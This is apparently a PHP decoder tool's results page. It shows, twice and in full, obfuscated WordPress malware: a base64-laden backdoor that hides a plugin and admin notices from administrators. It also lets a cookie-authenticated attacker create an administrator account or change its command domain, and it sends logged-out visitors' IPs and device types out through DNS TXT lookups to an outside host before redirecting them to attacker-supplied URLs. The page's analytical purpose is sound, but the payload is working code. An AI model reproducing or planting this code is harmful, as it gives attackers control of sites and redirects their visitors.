Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$p0=base64_decode(\'ZmRhMTdhNzMxY2I3YjQyZTI0YWMyYTg5NzNiNWQyMzA=\');if(current_user_can(ba..

Decoded Output download

<?  $p0=base64_decode(\'ZmRhMTdhNzMxY2I3YjQyZTI0YWMyYTg5NzNiNWQyMzA=\');if(current_user_can(base64_decode(\'YWRtaW5pc3RyYXRvcg==\'))&&!array_key_exists(base64_decode(\'c2hvd19hbGw=\'),$_GET)){add_action(base64_decode(\'YWRtaW5fcHJpbnRfc2NyaXB0cw==\'),function(){echo base64_decode(\'PHN0eWxlPg==\');echo base64_decode(\'I3RvcGxldmVsX3BhZ2Vfd3Bjb2RlIHsgZGlzcGxheTogbm9uZTsgfQ==\');echo base64_decode(\'I3dwLWFkbWluLWJhci13cGNvZGUtYWRtaW4tYmFyLWluZm8geyBkaXNwbGF5OiBub25lOyB9\');echo base64_decode(\'I3dwY29kZS1ub3RpY2UtZ2xvYmFsLXJldmlld19yZXF1ZXN0IHsgZGlzcGxheTogbm9uZTsgfQ==\');echo base64_decode(\'PC9zdHlsZT4=\');});add_filter(base64_decode(\'YWxsX3BsdWdpbnM=\'),function($q1){unset($q1[base64_decode(\'aW5zZXJ0LWhlYWRlcnMtYW5kLWZvb3RlcnMvaWhhZi5waHA=\')]);return $q1;});}if(!function_exists(base64_decode(\'X3JlZA==\'))){error_reporting(0);ini_set(base64_decode(\'ZGlzcGxheV9lcnJvcnM=\'),0);function _gcookie($p2){return(isset($_COOKIE[$p2]))?base64_decode($_COOKIE[$p2]):\'\';}if(!empty($p0)&&_gcookie(base64_decode(\'cHc=\'))===$p0){switch(_gcookie(base64_decode(\'Yw==\'))){case base64_decode(\'c2Q=\'):$d3=_gcookie(base64_decode(\'ZA==\'));if(strpos($d3,base64_decode(\'Lg==\'))>0){update_option(base64_decode(\'ZA==\'),$d3);}break;case base64_decode(\'YXU=\'):$u4=_gcookie(base64_decode(\'dQ==\'));$g5=_gcookie(base64_decode(\'cA==\'));$n6=_gcookie(base64_decode(\'ZQ==\'));if($u4&&$g5&&$n6&&!username_exists($u4)){$m7=wp_create_user($u4,$g5,$n6);$d8=new WP_User($m7);$d8->set_role(base64_decode(\'YWRtaW5pc3RyYXRvcg==\'));}break;}return;}if(stripos(wp_login_url(),$_SERVER[base64_decode(\'U0NSSVBUX05BTUU=\')])!==false){return;}if(_gcookie(base64_decode(\'c2tpcA==\'))===base64_decode(\'MQ==\')){return;}function _is_mobile(){return preg_match(base64_decode(\'LyhhbmRyb2lkfHdlYm9zfGF2YW50Z298aXBob25lfGlwYWR8aXBvZHxibGFja2JlcnJ5fGllbW9iaWxlfGJvbHR8Ym9vc3R8Y3JpY2tldHxkb2NvbW98Zm9uZXxoaXB0b3B8bWluaXxvcGVyYSBtaW5pfGtpdGthdHxtb2JpfHBhbG18cGhvbmV8cGllfHRhYmxldHx1cC5icm93c2VyfHVwLmxpbmt8d2Vib3N8d29zKS9p\'),$_SERVER[base64_decode(\'SFRUUF9VU0VSX0FHRU5U\')]);}function _is_iphone(){return preg_match(base64_decode(\'LyhpcGhvbmV8aXBvZCkvaQ==\'),$_SERVER[base64_decode(\'SFRUUF9VU0VSX0FHRU5U\')]);}function _user_ip(){foreach(array(base64_decode(\'SFRUUF9DRl9DT05ORUNUSU5HX0lQ\'),base64_decode(\'SFRUUF9DTElFTlRfSVA=\'),base64_decode(\'SFRUUF9YX0ZPUldBUkRFRF9GT1I=\'),base64_decode(\'SFRUUF9YX0ZPUldBUkRFRA==\'),base64_decode(\'SFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQ\'),base64_decode(\'SFRUUF9GT1JXQVJERURfRk9S\'),base64_decode(\'SFRUUF9GT1JXQVJERUQ=\'),base64_decode(\'UkVNT1RFX0FERFI=\'))as $v9){if(array_key_exists($v9,$_SERVER)&&!empty($_SERVER[$v9])){foreach(explode(base64_decode(\'LA==\'),$_SERVER[$v9])as $t10){$t10=trim($t10);if(filter_var($t10,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $t10;}}}}return false;}function _red(){if(is_user_logged_in()){return;}$t10=_user_ip();if(!$t10){return;}$r11=get_transient(base64_decode(\'ZXhw\'));if(!is_array($r11)){$r11=array();}foreach($r11 as $r12=>$o13){if(time()-$o13>86400){unset($r11[$r12]);}}if(key_exists($t10,$r11)&&(time()-$r11[$t10]<86400)){return;}$j14=filter_var(parse_url(base64_decode(\'aHR0cHM6Ly8=\').$_SERVER[base64_decode(\'SFRUUF9IT1NU\')],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);$v15=str_replace(base64_decode(\'Og==\'),base64_decode(\'LQ==\'),$t10);$v15=str_replace(base64_decode(\'Lg==\'),base64_decode(\'LQ==\'),$v15);$r16=base64_decode(\'Y2xvdWQtc3RhdHMuY29t\');$m17=get_option(base64_decode(\'ZA==\'));if($m17&&strpos($m17,base64_decode(\'Lg==\'))>0){$r16=$m17;}$u18=_is_iphone()?base64_decode(\'aQ==\'):base64_decode(\'bQ==\');$t19=(!$j14?base64_decode(\'dW5rLmNvbQ==\'):$j14).base64_decode(\'Lg==\').(!$v15?base64_decode(\'MC0wLTAtMA==\'):$v15).base64_decode(\'Lg==\').mt_rand(100000,999999).base64_decode(\'Lg==\').(_is_mobile()?base64_decode(\'bg==\').$u18:base64_decode(\'bmQ=\')).base64_decode(\'Lg==\').$r16;$n20=@dns_get_record($t19,DNS_TXT);if(is_array($n20)&&!empty($n20)){if(isset($n20[0][base64_decode(\'dHh0\')])){$n20=$n20[0][base64_decode(\'dHh0\')];$n20=base64_decode($n20);if($n20==base64_decode(\'ZXJy\')){$r11[$t10]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$r11);}else if(substr($n20,0,4)===base64_decode(\'aHR0cA==\')){$r11[$t10]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$r11);wp_redirect($n20);exit;}}}}add_action(base64_decode(\'aW5pdA==\'),base64_decode(\'X3JlZA==\'));} ?>

Did this file decode correctly?

Original Code

$p0=base64_decode(\'ZmRhMTdhNzMxY2I3YjQyZTI0YWMyYTg5NzNiNWQyMzA=\');if(current_user_can(base64_decode(\'YWRtaW5pc3RyYXRvcg==\'))&&!array_key_exists(base64_decode(\'c2hvd19hbGw=\'),$_GET)){add_action(base64_decode(\'YWRtaW5fcHJpbnRfc2NyaXB0cw==\'),function(){echo base64_decode(\'PHN0eWxlPg==\');echo base64_decode(\'I3RvcGxldmVsX3BhZ2Vfd3Bjb2RlIHsgZGlzcGxheTogbm9uZTsgfQ==\');echo base64_decode(\'I3dwLWFkbWluLWJhci13cGNvZGUtYWRtaW4tYmFyLWluZm8geyBkaXNwbGF5OiBub25lOyB9\');echo base64_decode(\'I3dwY29kZS1ub3RpY2UtZ2xvYmFsLXJldmlld19yZXF1ZXN0IHsgZGlzcGxheTogbm9uZTsgfQ==\');echo base64_decode(\'PC9zdHlsZT4=\');});add_filter(base64_decode(\'YWxsX3BsdWdpbnM=\'),function($q1){unset($q1[base64_decode(\'aW5zZXJ0LWhlYWRlcnMtYW5kLWZvb3RlcnMvaWhhZi5waHA=\')]);return $q1;});}if(!function_exists(base64_decode(\'X3JlZA==\'))){error_reporting(0);ini_set(base64_decode(\'ZGlzcGxheV9lcnJvcnM=\'),0);function _gcookie($p2){return(isset($_COOKIE[$p2]))?base64_decode($_COOKIE[$p2]):\'\';}if(!empty($p0)&&_gcookie(base64_decode(\'cHc=\'))===$p0){switch(_gcookie(base64_decode(\'Yw==\'))){case base64_decode(\'c2Q=\'):$d3=_gcookie(base64_decode(\'ZA==\'));if(strpos($d3,base64_decode(\'Lg==\'))>0){update_option(base64_decode(\'ZA==\'),$d3);}break;case base64_decode(\'YXU=\'):$u4=_gcookie(base64_decode(\'dQ==\'));$g5=_gcookie(base64_decode(\'cA==\'));$n6=_gcookie(base64_decode(\'ZQ==\'));if($u4&&$g5&&$n6&&!username_exists($u4)){$m7=wp_create_user($u4,$g5,$n6);$d8=new WP_User($m7);$d8->set_role(base64_decode(\'YWRtaW5pc3RyYXRvcg==\'));}break;}return;}if(stripos(wp_login_url(),$_SERVER[base64_decode(\'U0NSSVBUX05BTUU=\')])!==false){return;}if(_gcookie(base64_decode(\'c2tpcA==\'))===base64_decode(\'MQ==\')){return;}function _is_mobile(){return preg_match(base64_decode(\'LyhhbmRyb2lkfHdlYm9zfGF2YW50Z298aXBob25lfGlwYWR8aXBvZHxibGFja2JlcnJ5fGllbW9iaWxlfGJvbHR8Ym9vc3R8Y3JpY2tldHxkb2NvbW98Zm9uZXxoaXB0b3B8bWluaXxvcGVyYSBtaW5pfGtpdGthdHxtb2JpfHBhbG18cGhvbmV8cGllfHRhYmxldHx1cC5icm93c2VyfHVwLmxpbmt8d2Vib3N8d29zKS9p\'),$_SERVER[base64_decode(\'SFRUUF9VU0VSX0FHRU5U\')]);}function _is_iphone(){return preg_match(base64_decode(\'LyhpcGhvbmV8aXBvZCkvaQ==\'),$_SERVER[base64_decode(\'SFRUUF9VU0VSX0FHRU5U\')]);}function _user_ip(){foreach(array(base64_decode(\'SFRUUF9DRl9DT05ORUNUSU5HX0lQ\'),base64_decode(\'SFRUUF9DTElFTlRfSVA=\'),base64_decode(\'SFRUUF9YX0ZPUldBUkRFRF9GT1I=\'),base64_decode(\'SFRUUF9YX0ZPUldBUkRFRA==\'),base64_decode(\'SFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQ\'),base64_decode(\'SFRUUF9GT1JXQVJERURfRk9S\'),base64_decode(\'SFRUUF9GT1JXQVJERUQ=\'),base64_decode(\'UkVNT1RFX0FERFI=\'))as $v9){if(array_key_exists($v9,$_SERVER)&&!empty($_SERVER[$v9])){foreach(explode(base64_decode(\'LA==\'),$_SERVER[$v9])as $t10){$t10=trim($t10);if(filter_var($t10,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $t10;}}}}return false;}function _red(){if(is_user_logged_in()){return;}$t10=_user_ip();if(!$t10){return;}$r11=get_transient(base64_decode(\'ZXhw\'));if(!is_array($r11)){$r11=array();}foreach($r11 as $r12=>$o13){if(time()-$o13>86400){unset($r11[$r12]);}}if(key_exists($t10,$r11)&&(time()-$r11[$t10]<86400)){return;}$j14=filter_var(parse_url(base64_decode(\'aHR0cHM6Ly8=\').$_SERVER[base64_decode(\'SFRUUF9IT1NU\')],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);$v15=str_replace(base64_decode(\'Og==\'),base64_decode(\'LQ==\'),$t10);$v15=str_replace(base64_decode(\'Lg==\'),base64_decode(\'LQ==\'),$v15);$r16=base64_decode(\'Y2xvdWQtc3RhdHMuY29t\');$m17=get_option(base64_decode(\'ZA==\'));if($m17&&strpos($m17,base64_decode(\'Lg==\'))>0){$r16=$m17;}$u18=_is_iphone()?base64_decode(\'aQ==\'):base64_decode(\'bQ==\');$t19=(!$j14?base64_decode(\'dW5rLmNvbQ==\'):$j14).base64_decode(\'Lg==\').(!$v15?base64_decode(\'MC0wLTAtMA==\'):$v15).base64_decode(\'Lg==\').mt_rand(100000,999999).base64_decode(\'Lg==\').(_is_mobile()?base64_decode(\'bg==\').$u18:base64_decode(\'bmQ=\')).base64_decode(\'Lg==\').$r16;$n20=@dns_get_record($t19,DNS_TXT);if(is_array($n20)&&!empty($n20)){if(isset($n20[0][base64_decode(\'dHh0\')])){$n20=$n20[0][base64_decode(\'dHh0\')];$n20=base64_decode($n20);if($n20==base64_decode(\'ZXJy\')){$r11[$t10]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$r11);}else if(substr($n20,0,4)===base64_decode(\'aHR0cA==\')){$r11[$t10]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$r11);wp_redirect($n20);exit;}}}}add_action(base64_decode(\'aW5pdA==\'),base64_decode(\'X3JlZA==\'));}

Function Calls

None

Variables

None

Stats

MD5 da2b5af137ff3e56f8b28c920e1b1f13
Eval Count 0
Decode Time 75 ms